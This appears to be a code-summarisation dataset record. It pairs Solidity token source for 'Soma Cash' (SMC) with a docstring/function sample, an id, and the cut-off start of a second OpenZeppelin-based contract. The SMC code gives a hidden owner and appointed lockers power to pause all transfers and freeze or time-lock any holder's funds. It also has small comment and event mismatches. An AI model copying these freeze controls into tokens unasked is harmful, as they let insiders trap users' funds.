+ addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions, and hidden onwer account that can change owner. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _hiddenOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event HiddenOwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; _hiddenOwner = msgSender; emit OwnershipTransferred(address(0), msgSender); emit HiddenOwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Returns the address of the current hidden owner. */ function hiddenOwner() public view returns (address) { return _hiddenOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Throws if called by any account other than the hidden owner. */ modifier onlyHiddenOwner() { require(_hiddenOwner == _msgSender(), "Ownable: caller is not the hidden owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } /** * @dev Transfers hidden ownership of the contract to a new account (`newHiddenOwner`). */ function _transferHiddenOwnership(address newHiddenOwner) internal { require(newHiddenOwner != address(0), "Ownable: new hidden owner is the zero address"); emit HiddenOwnershipTransferred(_owner, newHiddenOwner); _hiddenOwner = newHiddenOwner; } } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract Burnable is Context { mapping(address => bool) private _burners; event BurnerAdded(address indexed account); event BurnerRemoved(address indexed account); /** * @dev Returns whether the address is burner. */ function isBurner(address account) public view returns (bool) { return _burners[account]; } /** * @dev Throws if called by any account other than the burner. */ modifier onlyBurner() { require(_burners[_msgSender()], "Ownable: caller is not the burner"); _; } /** * @dev Add burner, only owner can add burner. */ function _addBurner(address account) internal { _burners[account] = true; emit BurnerAdded(account); } /** * @dev Remove operator, only owner can remove operator */ function _removeBurner(address account) internal { _burners[account] = false; emit BurnerRemoved(account); } } /** * @dev Contract for locking mechanism. * Locker can add and remove locked account. * If locker send coin to unlocked address, the address is locked automatically. */ contract Lockable is Context { struct TimeLock { uint256 amount; uint256 expiresAt; } struct InvestorLock { uint256 amount; uint256 startsAt; uint256 period; uint256 count; } mapping(address => bool) private _lockers; mapping(address => bool) private _locks; mapping(address => TimeLock[]) private _timeLocks; mapping(address => InvestorLock) private _investorLocks; event LockerAdded(address indexed account); event LockerRemoved(address indexed account); event Locked(address indexed account); event Unlocked(address indexed account); event TimeLocked(address indexed account); event TimeUnlocked(address indexed account); event InvestorLocked(address indexed account); event InvestorUnlocked(address indexed account); /** * @dev Throws if called by any account other than the locker. */ modifier onlyLocker { require(_lockers[_msgSender()], "Lockable: caller is not the locker"); _; } /** * @dev Returns whether the address is locker. */ function isLocker(address account) public view returns (bool) { return _lockers[account]; } /** * @dev Add locker, only owner can add locker */ function _addLocker(address account) internal { _lockers[account] = true; emit LockerAdded(account); } /** * @dev Remove locker, only owner can remove locker */ function _removeLocker(address account) internal { _lockers[account] = false; emit LockerRemoved(account); } /** * @dev Returns whether the address is locked. */ function isLocked(address account) public view returns (bool) { return _locks[account]; } /** * @dev Lock account, only locker can lock */ function _lock(address account) internal { _locks[account] = true; emit Locked(account); } /** * @dev Unlock account, only locker can unlock */ function _unlock(address account) internal { _locks[account] = false; emit Unlocked(account); } /** * @dev Add time lock, only locker can add */ function _addTimeLock( address account, uint256 amount, uint256 expiresAt ) internal { require(amount > 0, "Time Lock: lock amount must be greater than 0"); require(expiresAt > block.timestamp, "Time Lock: expire date must be later than now"); _timeLocks[account].push(TimeLock(amount, expiresAt)); emit TimeLocked(account); } /** * @dev Remove time lock, only locker can remove * @param account The address want to remove time lock * @param index Time lock index */ function _removeTimeLock(address account, uint8 index) internal { require(_timeLocks[account].length > index && index >= 0, "Time Lock: index must be valid"); uint256 len = _timeLocks[account].length; if (len - 1 != index) { // if it is not last item, swap it _timeLocks[account][index] = _timeLocks[account][len - 1]; } _timeLocks[account].pop(); emit TimeUnlocked(account); } /** * @dev Get time lock array length * @param account The address want to know the time lock length. * @return time lock length */ function getTimeLockLength(address account) public view returns (uint256) { return _timeLocks[account].length; } /** * @dev Get time lock info * @param account The address want to know the time lock state. * @param index Time lock index * @return time lock info */ function getTimeLock(address account, uint8 index) public view returns (uint256, uint256) { require(_timeLocks[account].length > index && index >= 0, "Time Lock: index must be valid"); return (_timeLocks[account][index].amount, _timeLocks[account][index].expiresAt); } /** * @dev get total time locked amount of address * @param account The address want to know the time lock amount. * @return time locked amount */ function getTimeLockedAmount(address account) public view returns (uint256) { uint256 timeLockedAmount = 0; uint256 len = _timeLocks[account].length; for (uint256 i = 0; i < len; i++) { if (block.timestamp < _timeLocks[account][i].expiresAt) { timeLockedAmount = timeLockedAmount + _timeLocks[account][i].amount; } } return timeLockedAmount; } /** * @dev Add investor lock, only locker can add * @param account investor lock account. * @param amount investor lock amount. * @param startsAt investor lock release start date. * @param period investor lock period. * @param count investor lock count. if count is 1, it works like a time lock */ function _addInvestorLock( address account, uint256 amount, uint256 startsAt, uint256 period, uint256 count ) internal { require(account != address(0), "Investor Lock: lock from the zero address"); require(startsAt > block.timestamp, "Investor Lock: must set after now"); require(amount > 0, "Investor Lock: amount is 0"); require(period > 0, "Investor Lock: period is 0"); require(count > 0, "Investor Lock: count is 0"); _investorLocks[account] = InvestorLock(amount, startsAt, period, count); emit InvestorLocked(account); } /** * @dev Remove investor lock, only locker can remove * @param account The address want to remove the investor lock */ function _removeInvestorLock(address account) internal { _investorLocks[account] = InvestorLock(0, 0, 0, 0); emit InvestorUnlocked(account); } /** * @dev Get investor lock info * @param account The address want to know the investor lock state. * @return investor lock info */ function getInvestorLock(address account) public view returns ( uint256, uint256, uint256, uint256 ) { return (_investorLocks[account].amount, _investorLocks[account].startsAt, _investorLocks[account].period, _investorLocks[account].count); } /** * @dev get total investor locked amount of address, locked amount will be released by 100%/months * if months is 5, locked amount released 20% per 1 month. * @param account The address want to know the investor lock amount. * @return investor locked amount */ function getInvestorLockedAmount(address account) public view returns (uint256) { uint256 investorLockedAmount = 0; uint256 amount = _investorLocks[account].amount; if (amount > 0) { uint256 startsAt = _investorLocks[account].startsAt; uint256 period = _investorLocks[account].period; uint256 count = _investorLocks[account].count; uint256 expiresAt = startsAt + period * (count - 1); uint256 timestamp = block.timestamp; if (timestamp < startsAt) { investorLockedAmount = amount; } else if (timestamp < expiresAt) { investorLockedAmount = (amount * ((expiresAt - timestamp) / period + 1)) / count; } } return investorLockedAmount; } } /** * @dev Contract for Soma Cash Coin */ contract SMC is Pausable, Ownable, Burnable, Lockable, ERC20 { uint256 private constant _initialSupply = 10_000_000_000e18; constructor() ERC20("Soma Cash", "SMC") { _mint(_msgSender(), _initialSupply); } /** * @dev Recover ERC20 coin in contract address. * @param tokenAddress The token contract address * @param tokenAmount Number of tokens to be sent */ function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner { IERC20(tokenAddress).transfer(owner(), tokenAmount); } /** * @dev lock and pause before transfer token */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override(ERC20) { super._beforeTokenTransfer(from, to, amount); require(!isLocked(from), "Lockable: token transfer from locked account"); require(!isLocked(to), "Lockable: token transfer to locked account"); require(!isLocked(_msgSender()), "Lockable: token transfer called from locked account"); require(!paused(), "Pausable: token transfer while paused"); require(balanceOf(from) - getTimeLockedAmount(from) - getInvestorLockedAmount(from) >= amount, "Lockable: token transfer from time locked account"); } /** * @dev only hidden owner can transfer ownership */ function transferOwnership(address newOwner) public onlyHiddenOwner whenNotPaused { _transferOwnership(newOwner); } /** * @dev only hidden owner can transfer hidden ownership */ function transferHiddenOwnership(address newHiddenOwner) public onlyHiddenOwner whenNotPaused { _transferHiddenOwnership(newHiddenOwner); } /** * @dev only owner can add burner */ function addBurner(address account) public onlyOwner whenNotPaused { _addBurner(account); } /** * @dev only owner can remove burner */ function removeBurner(address account) public onlyOwner whenNotPaused { _removeBurner(account); } /** * @dev burn burner's coin */ function burn(uint256 amount) public onlyBurner whenNotPaused { _burn(_msgSender(), amount); } /** * @dev pause all coin transfer */ function pause() public onlyOwner whenNotPaused { _pause(); } /** * @dev unpause all coin transfer */ function unpause() public onlyOwner whenPaused { _unpause(); } /** * @dev only owner can add locker */ function addLocker(address account) public onlyOwner whenNotPaused { _addLocker(account); } /** * @dev only owner can remove locker */ function removeLocker(address account) public onlyOwner whenNotPaused { _removeLocker(account); } /** * @dev only locker can lock account */ function lock(address account) public onlyLocker whenNotPaused { _lock(account); } /** * @dev only locker can unlock account */ function unlock(address account) public onlyOwner whenNotPaused { _unlock(account); } /** * @dev only locker can add time lock */ function addTimeLock( address account, uint256 amount, uint256 expiresAt ) public onlyLocker whenNotPaused { _addTimeLock(account, amount, expiresAt); } /** * @dev only locker can remove time lock */ function removeTimeLock(address account, uint8 index) public onlyOwner whenNotPaused { _removeTimeLock(account, index); } /** * @dev only locker can add investor lock */ function addInvestorLock( address account, uint256 startsAt, uint256 period, uint256 count ) public onlyLocker whenNotPaused { _addInvestorLock(account, balanceOf(account), startsAt, period, count); } /** * @dev only locker can remove investor lock */ function removeInvestorLock(address account) public onlyOwner whenNotPaused { _removeInvestorLock(account); } }
Get time lock array length account The address want to know the time lock length. return time lock length/
function getTimeLockLength(address account) public view returns (uint256) { return _timeLocks[account].length; }
127,693
/** *Submitted for verification at Etherscan.io on 2020-12-04 */ // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); } function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` 